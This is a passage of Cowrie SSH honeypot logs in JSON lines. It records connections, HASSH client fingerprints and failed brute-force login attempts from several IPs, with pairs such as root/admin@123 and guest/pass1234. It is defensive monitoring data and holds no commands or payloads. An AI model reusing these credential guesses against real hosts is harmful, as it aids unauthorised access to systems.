{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:12.464025Z","src_ip":"194.59.206.2","session":"7970f1974c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:12.553319Z","src_ip":"194.59.206.2","session":"7970f1974c74","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:14.217359Z","src_ip":"122.168.114.167","session":"2350ac8e8d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:14.220872Z","src_ip":"122.168.114.167","session":"2350ac8e8d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:17.826141Z","src_ip":"159.223.45.177","session":"95e40f781ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:21.610516Z","src_ip":"122.168.114.167","session":"2350ac8e8d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:24.744835Z","src_ip":"122.168.114.167","session":"2350ac8e8d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44728,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1a75765751a","protocol":"ssh","message":"New connection: 159.203.92.129:44728 (159.203.135.109:22) [session: e1a75765751a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:49.617664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:49.622098Z","src_ip":"159.203.92.129","session":"e1a75765751a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:49.625716Z","src_ip":"159.203.92.129","session":"e1a75765751a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asem00","password":"asem00","message":"login attempt [asem00/asem00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:49.635345Z","src_ip":"159.203.92.129","session":"e1a75765751a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59740,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe9832affb9","protocol":"ssh","message":"New connection: 122.168.114.167:59740 (159.203.135.109:22) [session: fbe9832affb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:49.848755Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:50.651260Z","src_ip":"159.203.92.129","session":"e1a75765751a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:51.555520Z","src_ip":"122.168.114.167","session":"fbe9832affb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:51.559199Z","src_ip":"122.168.114.167","session":"fbe9832affb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":48406,"dst_ip":"159.203.135.109","dst_port":22,"session":"02960b2bb99b","protocol":"ssh","message":"New connection: 202.4.106.201:48406 (159.203.135.109:22) [session: 02960b2bb99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:55.378297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:55.382922Z","src_ip":"202.4.106.201","session":"02960b2bb99b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:55.659208Z","src_ip":"202.4.106.201","session":"02960b2bb99b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pass1234","message":"login attempt [guest/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:56.785556Z","src_ip":"202.4.106.201","session":"02960b2bb99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:58.061911Z","src_ip":"202.4.106.201","session":"02960b2bb99b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:00.086295Z","src_ip":"122.168.114.167","session":"fbe9832affb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":60712,"dst_ip":"159.203.135.109","dst_port":22,"session":"f93cd50cdf9f","protocol":"ssh","message":"New connection: 103.182.132.154:60712 (159.203.135.109:22) [session: f93cd50cdf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:03.653433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:03.659994Z","src_ip":"103.182.132.154","session":"f93cd50cdf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:03.727149Z","src_ip":"122.168.114.167","session":"fbe9832affb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:03.870653Z","src_ip":"103.182.132.154","session":"f93cd50cdf9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sebastien","password":"test","message":"login attempt [sebastien/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:04.745852Z","src_ip":"103.182.132.154","session":"f93cd50cdf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:05.960888Z","src_ip":"103.182.132.154","session":"f93cd50cdf9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":22456,"dst_ip":"159.203.135.109","dst_port":22,"session":"9831e790308f","protocol":"ssh","message":"New connection: 159.223.45.177:22456 (159.203.135.109:22) [session: 9831e790308f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:06.702695Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:09.453754Z","src_ip":"159.223.45.177","session":"9831e790308f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33914,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca3a277083c7","protocol":"ssh","message":"New connection: 122.168.114.167:33914 (159.203.135.109:22) [session: ca3a277083c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:30.060892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:31.421802Z","src_ip":"122.168.114.167","session":"ca3a277083c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:31.432812Z","src_ip":"122.168.114.167","session":"ca3a277083c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37130,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e2625d4143b","protocol":"ssh","message":"New connection: 159.203.92.129:37130 (159.203.135.109:22) [session: 4e2625d4143b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:35.347719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:35.351728Z","src_ip":"159.203.92.129","session":"4e2625d4143b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:35.356325Z","src_ip":"159.203.92.129","session":"4e2625d4143b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ashish","password":"123456","message":"login attempt [ashish/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:35.366223Z","src_ip":"159.203.92.129","session":"4e2625d4143b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:36.371400Z","src_ip":"159.203.92.129","session":"4e2625d4143b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:39.109314Z","src_ip":"122.168.114.167","session":"ca3a277083c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:42.148912Z","src_ip":"122.168.114.167","session":"ca3a277083c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":37770,"dst_ip":"159.203.135.109","dst_port":22,"session":"aad09f1da0e7","protocol":"ssh","message":"New connection: 202.4.106.201:37770 (159.203.135.109:22) [session: aad09f1da0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:58.999265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:59.004701Z","src_ip":"202.4.106.201","session":"aad09f1da0e7","protocol":"ssh"}
